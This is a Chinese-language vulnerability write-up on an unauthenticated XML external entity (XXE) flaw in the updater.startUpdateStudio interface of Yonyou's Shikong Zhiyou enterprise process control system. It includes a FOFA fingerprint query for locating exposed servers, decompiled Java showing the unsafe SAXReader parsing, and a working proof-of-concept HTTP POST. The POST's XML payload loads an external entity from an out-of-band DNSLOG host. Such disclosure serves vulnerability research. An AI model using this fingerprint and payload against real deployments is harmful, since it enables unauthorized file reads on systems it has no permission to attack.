漏洞简介
用友时空智友企业流程化管控系统 updater.startUpdateStudio 接口处存在XML实体注入漏洞,未经身份认证的攻击者可以利用此漏洞读取系统文件。
fofa语法
body="login.jsp?login=null"
漏洞分析
这个漏洞源自前一篇文章时随便看了一眼发现的 时空智友企业流程化管控系统 updater.getStudioFile 任意文件读取漏洞
import org.dom4j.io.SAXReader;
....
public String startUpdateStudio(HttpServletRequest object, HttpServletResponse object2, Document object3) {
block11: {
Object object4;
object = object3.getRootElement();
object2 = new ArrayList();
object = object.element("files").elementIterator();
while (object.hasNext()) {
object3 = (Element)object.next();
object4 = new a(this);
new a(this).a = object3.getTextTrim();
((a)object4).b = object3.attribute("del") == null ? false : object3.attribute("del").getStringValue().equalsIgnoreCase("true");
((ArrayList)object2).add(object4);
}
通过 SAXReader 解析器读取外部 XML 内容(来自object3),并且未进行任何过滤或校验检查,造成 XML外部实体注入漏洞(XXE漏洞)。
漏洞复现
POST /formservice/?service=updater.startUpdateStudio HTTP/1.1
Host: yonyou.mrxn.net
Content-Type: multipart/form-dataaaaaaa
----.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xxe.test.dnslog.cc/xxe_test">
%remote;]>
<root/>
在 DNSLOG 平台成功收到 DNS 和 HTTP 请求响应



